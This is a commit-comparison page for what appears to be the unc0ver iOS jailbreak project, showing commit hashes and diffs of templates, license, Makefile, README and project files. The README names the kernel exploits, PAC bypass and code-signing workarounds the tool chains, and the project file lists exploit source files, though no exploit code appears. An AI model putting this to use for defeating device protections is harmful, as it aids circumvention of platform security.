Compare commits
432 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 53ba03f796 | |||
| a5defc1338 | |||
| d17752aa43 | |||
| 53786b10ed | |||
| 36fc75544a | |||
| 9d7a1076a2 | |||
| 2f6e337567 | |||
| d0ebb39b12 | |||
| 6ee22bd105 | |||
| 620e7f97c2 | |||
| 08d3978c40 | |||
| bccd7ab71a | |||
| c4c58e9b82 | |||
| 978470c4f0 | |||
| ba0263e062 | |||
| 7bcc027eae | |||
| 14d9fba9b1 | |||
| e8e5cd6d8d | |||
| 711f22bffc | |||
| c6212216ec | |||
| 0c746107e4 | |||
| ca70862da9 | |||
| f02c526071 | |||
| e07dbe7907 | |||
| 83b91fff7c | |||
| 90f426d34a | |||
| 2f757b33d1 | |||
| fa7d177a14 | |||
| cda002cc07 | |||
| fb130a90ff | |||
| a452e2f809 | |||
| f5833f28ea | |||
| e7bd785a45 | |||
| a8b1d1c8f0 | |||
| 5ebdd99a83 | |||
| 02924e0a8d | |||
| abc7d0e2dc | |||
| a4af5f4f89 | |||
| 246f47ff09 | |||
| d566c24914 | |||
| 805bae9a6a | |||
| a16a6ccf39 | |||
| 9412034c6e | |||
| 2a2d0b7b0b | |||
| c29bb1d0d2 | |||
| 1a1133c4f3 | |||
| 5725cd55dd | |||
| e957ee8d0b | |||
| 7d59e3c4b1 | |||
| 3fc38ccb43 | |||
| 53d22ef49f | |||
| 3916f6f64f | |||
| 40ab52846e | |||
| 050d80d9c7 | |||
| f49c6d5e5f | |||
| 04e48a6d5b | |||
| 9c920c4ef5 | |||
| e286f0eb88 | |||
| 0de7551ab2 | |||
| f31b3816aa | |||
| 45ba717cc5 | |||
| 6e9c817f72 | |||
| 79cbc046aa | |||
| 0cc0660343 | |||
| b1a373bbfc | |||
| 952b10720d | |||
| db5b6af977 | |||
| 779d3d7a00 | |||
| d8872fc87f | |||
| 64e3883d13 | |||
| de3abf9510 | |||
| a573386226 | |||
| 91d77d52d0 | |||
| 4fd316fca6 | |||
| 7ff6bceaed | |||
| 19613aedd1 | |||
| 68342215b8 | |||
| cea3eaae00 | |||
| fa21ed6490 | |||
| a5364aabb5 | |||
| 0c8a86d3c0 | |||
| 6b4bd73aa1 | |||
| 81036fd42e | |||
| f93bc468e9 | |||
| eaf6df4c07 | |||
| 360b9001a5 | |||
| 16aa0277fa | |||
| 0010f2ed91 | |||
| bb9471a505 | |||
| 75be49f6e1 | |||
| b9dcf0ae1b | |||
| 2a6e61ff42 | |||
| b934594eb3 | |||
| eb8ab29156 | |||
| 447d5c82a3 | |||
| 351435fc48 | |||
| 0e9b7606ed | |||
| e252e46abd | |||
| 23bd360096 | |||
| 6eb7fa1fc9 | |||
| 898880a4b8 | |||
| 0de27ce6c6 | |||
| de525ccb15 | |||
| ebb3603966 | |||
| 879d759c18 | |||
| 3880c54b86 | |||
| 5a031133d7 | |||
| 7a7060e50b | |||
| b56e561bc5 | |||
| a8de4bfebb | |||
| 094e4e675e | |||
| b4c22e83f0 | |||
| 11a9bbd450 | |||
| 2cd862a60d | |||
| 4b8f0ff2f9 | |||
| 64f03bbb19 | |||
| 28c5ea10f9 | |||
| d2307771bc | |||
| 0ec92b630f | |||
| 59115cbf28 | |||
| 4432c73067 | |||
| fcbe1162c9 | |||
| dd9c4ff259 | |||
| f1afadce98 | |||
| db451489c2 | |||
| ba17d0ebee | |||
| ab8e284389 | |||
| a12fde751b | |||
| 923e7d6214 | |||
| fbc389b8f1 | |||
| 37e3fd4552 | |||
| f18b9ff148 | |||
| 28115cde4e | |||
| 12f44c2fdb | |||
| 1ec3bd87ae | |||
| 1dceb753f6 | |||
| f9b60c5900 | |||
| 8e2f16b400 | |||
| 08d38f2ed6 | |||
| 141067ce57 | |||
| 802fb2fe2d | |||
| 86f0396d15 | |||
| 8e6e7f3f63 | |||
| a51b7114ce | |||
| 37ae0c2df7 | |||
| a3aa6ece6e | |||
| d89a69d1fa | |||
| a2cf773dc4 | |||
| e9e93013c7 | |||
| 41c06b3c7a | |||
| 6baa7ea5d6 | |||
| 12454309c9 | |||
| ceb20eaed7 | |||
| 9bd2c3eabe | |||
| 130aa3e2aa | |||
| 8e4e01f059 | |||
| ffe78a1f35 | |||
| ec373e3309 | |||
| 9dfbbb1f53 | |||
| d9068b17ed | |||
| 15813a52b3 | |||
| 5e645735db | |||
| ef9c4765fb | |||
| f54fcc294c | |||
| c2d13fc5d3 | |||
| bcc2e1f656 | |||
| 306debb8d0 | |||
| 1019336356 | |||
| 1a7af4abcb | |||
| ff0d38fd99 | |||
| ad2bb4f7e3 | |||
| c5947e97b3 | |||
| 4f84e06c0d | |||
| 9f72184814 | |||
| e6858c0d98 | |||
| 0b5c15e7ae | |||
| 076b41371f | |||
| 3c97cb96bc | |||
| 99a2e21f39 | |||
| 2ce2b6ea8a | |||
| 763764f792 | |||
| aa05ce084b | |||
| 9f3872fb9e | |||
| f58060dcd0 | |||
| 87edbc340c | |||
| 2b15805010 | |||
| 3037b2cf58 | |||
| 75e7173281 | |||
| 557769c4e7 | |||
| 5be78f44b7 | |||
| a9d7a94be3 | |||
| 8d016a5a53 | |||
| 2e19f38f57 | |||
| 11d6fd6cfd | |||
| 5d61e33948 | |||
| fb36bd7d19 | |||
| cfe47fb1c8 | |||
| 675a796159 | |||
| a0368ec29e | |||
| 4d8c896bc1 | |||
| f958371934 | |||
| 742286c876 | |||
| 88057cf35b | |||
| 3a59f5e498 | |||
| 3fc2729cdb | |||
| 32b0426fc2 | |||
| abd6513b30 | |||
| 1071649456 | |||
| 1898127ad0 | |||
| a5bea58783 | |||
| 61a1151b52 | |||
| fc99bbf634 | |||
| 182a79fe00 | |||
| aa78bde6b0 | |||
| 290cba7cec | |||
| 1bfc159b6d | |||
| 73d51934c1 | |||
| 468b350a45 | |||
| b3382d9bd2 | |||
| 2cd132e8fc | |||
| c1d1b08738 | |||
| ad8e813d8c | |||
| 0f424d1f16 | |||
| 874aa584d5 | |||
| f030879d3e | |||
| 8e08d98383 | |||
| 954700b0d8 | |||
| 754e4b6a87 | |||
| 4fd3bdae6b | |||
| 95a9691f9e | |||
| f60232bf92 | |||
| 448f599747 | |||
| 728119d458 | |||
| c28ec1dd55 | |||
| 917c075a42 | |||
| 71da0c1ea3 | |||
| 4f6b475a15 | |||
| cddee9bcf4 | |||
| 628238902c | |||
| 0672bfb0b2 | |||
| d9d5d739ba | |||
| e7142a1681 | |||
| 1295b7bcc2 | |||
| 53f28bca26 | |||
| dde18983ed | |||
| df914b90c3 | |||
| 7204cfb6d4 | |||
| f4f5e6683d | |||
| 4d944aacde | |||
| 3e52f2d5ea | |||
| 0e344b3186 | |||
| e8ddc77eb8 | |||
| 3cd366b5f4 | |||
| d904dc3ad3 | |||
| e7d1fdccf2 | |||
| ae5a69b70b | |||
| abeefafbcb | |||
| 4852dd583d | |||
| 900612f5a7 | |||
| 18218f551d | |||
| 7b0cf09037 | |||
| 1fed329243 | |||
| cbc1008803 | |||
| 5bca6416f3 | |||
| 3273b6d138 | |||
| 02cd20812f | |||
| e60a907fb9 | |||
| 66c811a63a | |||
| 4b5a39903c | |||
| 2d46864538 | |||
| 0aff911168 | |||
| 545c0d8100 | |||
| 5896eb1f1e | |||
| 2bd81903e7 | |||
| 349dac7da0 | |||
| ca8b650bd5 | |||
| f88e2a97cb | |||
| 68ed2d0641 | |||
| 6e771c2791 | |||
| 37c1e5389f | |||
| a635425b5b | |||
| 9a16f60df6 | |||
| cec6c0f398 | |||
| f2e145dcf5 | |||
| d8df74356d | |||
| bd5c6f8cff | |||
| 78f1e754ec | |||
| 68d0c89502 | |||
| ede4e07782 | |||
| 2c49552601 | |||
| 4a5311f85a | |||
| 33b1badfb1 | |||
| 705addf650 | |||
| 0e8b45ea6a | |||
| e052df0f3d | |||
| e931b5a53c | |||
| 7709e604b3 | |||
| 166efa7cff | |||
| d8d5c43e06 | |||
| 87c2909e9a | |||
| 17cc89f0fc | |||
| 4403d62e28 | |||
| d2ec99798c | |||
| 65ed1aed40 | |||
| b59a0e9288 | |||
| baf888a814 | |||
| 176ddc2c50 | |||
| 936b522179 | |||
| 7cd8b68daa | |||
| fbfcb5aa13 | |||
| ae4b2ef4ac | |||
| d837ddabc9 | |||
| 0a8241f25c | |||
| 60ea1652eb | |||
| 24c45fd4ce | |||
| 2f9b9b2a9c | |||
| e434d4ad16 | |||
| c2a1b11d41 | |||
| cbf40aa171 | |||
| a9bad3a9f8 | |||
| 0958a3d0bb | |||
| fdbd43c13a | |||
| c74e61753f | |||
| e602c0d55f | |||
| 49c3fe5a7e | |||
| 292fb06897 | |||
| 6695f099f6 | |||
| c8cd4df96c | |||
| b072ade73b | |||
| 4fef3239d2 | |||
| 72be6c66e9 | |||
| 7aca4d4a5e | |||
| c065a55e03 | |||
| c079fb93c9 | |||
| 41bc963f85 | |||
| 3cb2089d25 | |||
| 4843b5d7a3 | |||
| 777248aa73 | |||
| 8190773b04 | |||
| 034b072559 | |||
| af02f037c3 | |||
| 2d14f5b9bd | |||
| a2b1d0e5c5 | |||
| 191ad4d15d | |||
| af582c74c3 | |||
| d0e47bc517 | |||
| dcba04c37c | |||
| afe13af759 | |||
| 2f2ba92c53 | |||
| 98cf8e4d6e | |||
| 52e7c56468 | |||
| 84d7b8fd59 | |||
| 111d812d9e | |||
| 82285e21b5 | |||
| da43c0e847 | |||
| 6b2848ce34 | |||
| 10ec346cd7 | |||
| 50f888fc14 | |||
| 53c17da489 | |||
| 5f3ae402c1 | |||
| ebea9f9314 | |||
| aef018f05d | |||
| db3e706012 | |||
| 39c1fbfeb5 | |||
| d40946f5e5 | |||
| 9f61c37ecd | |||
| 05c99a6a7b | |||
| 397cc1a7a2 | |||
| 517e51fbd7 | |||
| 61010817eb | |||
| 4962d3c35d | |||
| 1b18df71bf | |||
| 8374333f95 | |||
| 75edb6bce3 | |||
| d2ce06948f | |||
| eefa4d7855 | |||
| 998adeea54 | |||
| 3650c38226 | |||
| ffd5b41035 | |||
| 314a2050c1 | |||
| 841fa649d7 | |||
| c3340244c8 | |||
| 79ae88a24c | |||
| 0b5b0094c0 | |||
| 0a2516644e | |||
| 81672d87d8 | |||
| c6f8849045 | |||
| f0279789c1 | |||
| 598824d007 | |||
| 53cea01a44 | |||
| 9730667495 | |||
| e1af60e803 | |||
| 2a0e8c998c | |||
| b302a159fe | |||
| 801c4a2614 | |||
| 4705dfef7b | |||
| 308d436bf5 | |||
| e91de7e447 | |||
| 2e20485d62 | |||
| 5f3b65a99b | |||
| 7725040b8f | |||
| 7e67f5c7c6 | |||
| 88280a595e | |||
| 168a0588a4 | |||
| 1b96e7049e | |||
| f916257313 | |||
| c499defaec | |||
| c862275a9d | |||
| 345a41c171 | |||
| 22b45306af | |||
| 956b7bab3f | |||
| 85d0d0a74f | |||
| 45f166cb75 | |||
| 2fee69b049 | |||
| 53c99f805a | |||
| 8b83d36b24 | |||
| ddf5d11161 | |||
| 8c5a51741b | |||
| 7ef41cbbd5 | |||
| 1dd65bc081 | |||
| 281ad3826f | |||
| 8df9b81892 | |||
| 3ed31f782d | |||
| 9a18810462 | |||
| 28d46bff5c | |||
| 9d345ba411 | |||
| 2f71b78064 | |||
| 88baac94b6 | |||
| 1fccb51203 | |||
| 181e4b85eb | |||
| 39fee92b9b | |||
| 3bff8efeb2 |
@@ -0,0 +1,35 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is and what you expected to happen.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Device (please complete the following information):**
|
||||
- iOS Version:
|
||||
- iOS Device:
|
||||
- unc0ver Version:
|
||||
|
||||
**Place an "x" between the brackets if true:**
|
||||
- [ ] this is a bug others will be able to reproduce
|
||||
- [ ] this issue is present with all tweaks uninstalled(except for default packages) or disabled
|
||||
- [ ] this issue is present after a rootfs restore
|
||||
- [ ] this issue is present on the latest version of unc0ver
|
||||
|
||||
**Logs**
|
||||
If applicable, add logs or error messages here.
|
||||
@@ -0,0 +1,17 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the feature you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
@@ -4,3 +4,12 @@
|
||||
[submodule "snappy"]
|
||||
path = snappy
|
||||
url = https://github.com/sbingner/snappy.git
|
||||
[submodule "patchfinder64"]
|
||||
path = patchfinder64
|
||||
url = https://github.com/pwn20wndstuff/patchfinder64.git
|
||||
[submodule "offset-cache"]
|
||||
path = offset-cache
|
||||
url = https://github.com/sbingner/offset-cache.git
|
||||
[submodule "kerneldec"]
|
||||
path = kerneldec
|
||||
url = https://github.com/sbingner/kerneldec.git
|
||||
|
||||
@@ -1,21 +1,29 @@
|
||||
MIT License
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018 Pwn20wnd
|
||||
Copyright (c) 2019, Pwn20wnd
|
||||
All rights reserved.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
@@ -3,10 +3,10 @@ TARGET = Undecimus
|
||||
.PHONY: all clean
|
||||
|
||||
all: clean
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO -sdk iphoneos -configuration Debug
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
|
||||
ln -sf build/Debug-iphoneos Payload
|
||||
# strip Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/resources/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
zip -r9 $(TARGET).ipa Payload/$(TARGET).app
|
||||
|
||||
clean:
|
||||
|
||||
@@ -1,56 +1,42 @@
|
||||
# unc0ver
|
||||
### The most advanced jailbreak tool
|
||||

|
||||

|
||||
|
||||
unc0ver jailbreak for iOS 11.0 - 11.4b3<br/>
|
||||
unc0ver jailbreak for iOS 11.0 - 12.2<br/>
|
||||
by [@pwn20wnd](https://twitter.com/Pwn20wnd) & [@sbingner](https://twitter.com/sbingner)<br/>
|
||||
UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](https://reddit.com/u/Samg_is_a_Ninja)<br/>
|
||||
UI by [@iOS_App_Dev](https://twitter.com/iOS_App_Dev) & [@HiMyNameIsUbik](https://twitter.com/HiMyNameIsUbik)<br/>
|
||||
|
||||
## The most outstanding changes over the other jailbreaks
|
||||
* All exploits in same app
|
||||
* Detailed error messages
|
||||
* Faster patches
|
||||
* More stable patches
|
||||
* No extra battery drain
|
||||
* No random freezes
|
||||
* No random slow downs
|
||||
* No data is logged or shared
|
||||
* No malware
|
||||
* Proper jailbreak state detection
|
||||
* Proper bootstrap extraction to fix issues such as Cydia not appearing after jailbreak
|
||||
* Native build of Cydia for iOS 11
|
||||
* Telesphoreo port for ARM64
|
||||
* Much faster Cydia
|
||||
* Much more stable Cydia
|
||||
* Much more modern looking and acting Cydia
|
||||
* Cydia skips uicache when not needed
|
||||
* Cydia supports iPhone X screen size
|
||||
* Cydia Substrate for tweak injection
|
||||
* Much faster ldrestart
|
||||
* Much more stable ldrestart
|
||||
* Changes to Cydia were made with permission from Saurik
|
||||
* Option to skip loading daemons
|
||||
* Option to dump APTicket
|
||||
* Option to refresh icon cache
|
||||
* Option to disable auto updates
|
||||
* Option to block app revokes
|
||||
* Option to restore RootFS
|
||||
* Button to restart device
|
||||
* Button to open Cydia in case it doesn't appear on the Home Screen
|
||||
* Label to show the days left till the application expires
|
||||
* Working debugserver
|
||||
* An awesome UI
|
||||
* One app to jailbreak all firmwares
|
||||
* Full-fledged Cydia and Substrate support for ARM64 devices
|
||||
* Full-fledged Telesphoreo port for ARM64 (Elucubratus)
|
||||
* No private data shared for diagnostics purposes
|
||||
* SSH-Only (Dropbear) support
|
||||
* Options for the user
|
||||
* Utilities for the user
|
||||
* No inefficient local jailbreak server (jailbreakd daemon)
|
||||
* Native Cydia support with support for the iPhone X screen size
|
||||
* Ability to rejailbreak from the jailbroken state
|
||||
* Stable kernelspace patches to avoid random crashes caused by kernel data aborts
|
||||
* Stable userspace patches to avoid random freezes and crashes caused by watchdog timer timeouts
|
||||
* Local APT repo system integrated in the jailbreak to verify the integrity of the core packages and repair them if they are corrupted
|
||||
* Extended and improved assertion to prevent unexpected results such as bootloops caused by filesystem corruption
|
||||
* Better system security, battery life and performance
|
||||
* Significantly faster Cydia
|
||||
* Modifications to Cydia were approved by the creator of Cydia (Saurik)
|
||||
* Fully working debugserver
|
||||
* No DRM
|
||||
* No installation restrictions
|
||||
* Open source
|
||||
|
||||
## Switching from the other jailbreaks
|
||||
* The RootFS will automatically be restored
|
||||
* Dedicated migration support will be used to switch without losing data
|
||||
|
||||
## Getting support
|
||||
* Use the built-in diagnostics tool
|
||||
* Get technical support on the r/Jailbreak Discord Server
|
||||
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
|
||||
|
||||
## Best practices
|
||||
* Perform a full restore with Rollectra before switching from the other jailbreaks
|
||||
* Turn on the AirPlane Mode before starting the jailbreak
|
||||
* Turn off Siri before starting the jailbreak
|
||||
|
||||
@@ -62,52 +48,29 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
|
||||
## Video tutorial
|
||||
* <a href="https://youtu.be/TqHYjLHO0zs">https://youtu.be/TqHYjLHO0zs</a>
|
||||
|
||||
## To Do List
|
||||
* Contact [@saurik](https://twitter.com/saurik) to enable the Cydia Store purchases on iOS 11 and remove the empty front page ads in Cydia: Partially done
|
||||
* Completely switch to Cydia Substrate and ditch Substitute: Done
|
||||
* Make switching from other jailbreaks without wiping the device possible: Done
|
||||
* Fix a kernel panic that's triggered by a kernel data abort which is caused by a UaF bug in jailbreakd: Done
|
||||
* Chain [@_bazad](https://twitter.com/_bazad)'s [blanket](https://github.com/bazad/blanket) to bypass the developer certificate requirement for multi_path: Almost done
|
||||
* Enable the on-fly entitlement patching on iOS 11: Work in progress
|
||||
* WebKit Port with [@_niklasb](https://twitter.com/_niklasb)'s [WebKit Exploit](https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1): Work in progress
|
||||
|
||||
## Screenshots
|
||||
<img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-1.PNG?token=AlyO4wXUInR6oHEgx0Tg31ri0t1q91frks5bx5ZbwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-2.PNG?token=AlyO48vs-YYcaKUgxXh8nIEUQQz_QEoqks5bx5ZqwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-3.PNG?token=AlyO44tYr5-jl7Pg0jup0tCqm3rSjUhiks5bx5Z4wA%3D%3D" width="281.25" height="609" />
|
||||
<img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-1.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-2.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-3.PNG" width="281.25" height="609" />
|
||||
|
||||
## Changelog
|
||||
* ~~rc1: Initial release~~
|
||||
* ~~rc2: Add the dynastic repo by default and fix a bug in firmware checker~~
|
||||
* ~~rc3: Add a switch to manually enable restoring RootFS, stop erasing user preferences when restoring RootFS and fix bugs~~
|
||||
* ~~rc4: Add a label to display the uptime, a label to display the app's version number, spawn to the PATH and stop bundling system fonts~~
|
||||
* ~~rc5: Run videosubscriptionsd in the jailed state, fix a bug in firmware and update checker~~
|
||||
* ~~rc6: Start logging again, improve update checker and fix multi_path~~
|
||||
* ~~rc7: Fix a bug in RootFS Restore and multi_path~~
|
||||
* ~~rc8: Fix a bug in RootFS Remount and add a work in progress warning for some firmwares~~
|
||||
* ~~rc9: Fix a bug in RootFS Remount, add even more detailed error messages and add a switch to increase the memory limit to improve the stability and improve the compatibility layer to work correctly with some tweaks that were specifically made for the other jailbreaks~~
|
||||
* ~~v1.0.0: Fix a bug in RootFS Restore and Remount, make the settings tab match with the rest of the UI and fix bugs~~
|
||||
* ~~v1.0.1: Disable the RootFS Restore for the unstable versions~~
|
||||
* ~~v1.0.2: Enable and fix the RootFS Restore for all versions~~
|
||||
* ~~v1.0.3: Fix the beta firmwares~~
|
||||
* ~~v1.1.0: Automatically select the best exploit, rewrite the versions checker, improve assertion, show the code which has failed in the error messages, improve memory management, optimize and clean up the code, fix the Storage settings, switch to a new technique to disable auto updates, remove so much useless logging, only set the boot-nonce if the switch is on without checking if it exists or not, log offsets, remove static sleeps to improve the speed, fix series of bugs and leave no known bug~~
|
||||
* ~~v1.1.1: Add a label to show the ECID and a button to open the source code, improve auto layout and fix various bugs in RootFS remount, RootFS restore, RootFS resource copier, Icon cache refresher, Version checker, Exploit selector, jailbreak state detector and others~~
|
||||
* ~~v1.1.2: Improve auto layout and code and Significantly improve Empty_List (VFS) exploit and slightly improve Multi_Path (MPTCP)~~
|
||||
* ~~v1.1.3: Fix a bug in starting jailbreakd~~
|
||||
* ~~v1.1.4: Fix a bug in finding offsets: [Download (IPA)](https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Undecimus.ipa)~~
|
||||
* Releases are now available at https://github.com/pwn20wndstuff/Undecimus/releases
|
||||
* Releases are available at https://github.com/pwn20wndstuff/Undecimus/releases (Note: rc1-v1.1.4 releases are no longer available)
|
||||
|
||||
## Special Thanks
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path & deja_xnu
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit
|
||||
* [@xerub](https://twitter.com/xerub) for libjb and the original patchfinder64
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload, jailbreakd and pspawn_hook
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path and deja_xnu
|
||||
* [@bazad](https://twitter.com/bazad) for voucher_swap and PAC bypass
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit (No longer used)
|
||||
* [@xerub](https://twitter.com/xerub) for the original patchfinder64
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the machswap and machswap2
|
||||
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
|
||||
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
|
||||
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
|
||||
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
|
||||
* [Samg_is_a_ninja](https://reddit.com/u/Samg_is_a_Ninja) for original UI development
|
||||
* [@DennisBednarz](https://twitter.com/DennisBednarz) for original UI design
|
||||
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
|
||||
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
|
||||
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
|
||||
* [@Rob_Coleman123](https://twitter.com/Rob_Coleman123) for testing
|
||||
* [@AyyItzRob](https://twitter.com/AyyItzRob) for testing
|
||||
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
|
||||
* [@FCE365](https://twitter.com/FCE365) for testing
|
||||
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
|
||||
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
|
||||
* [@Jakeashacks](https://twitter.com/Jakeashacks) for testing
|
||||
|
||||
@@ -8,49 +8,66 @@
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* ViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCA2148103B00DC0023 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; };
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */ = {isa = PBXBuildFile; fileRef = 2139534B21763A0B00B17F8D /* rsync.tar */; };
|
||||
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDB21AEEA3A00B99B4C /* injector.deb */; };
|
||||
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDD21AEEC9200B99B4C /* spawn.deb */; };
|
||||
2170BD3721B193650059BD10 /* qilin.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC8C2136A0D100849420 /* qilin.o */; };
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E78252208654700FDF3B7 /* necp.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
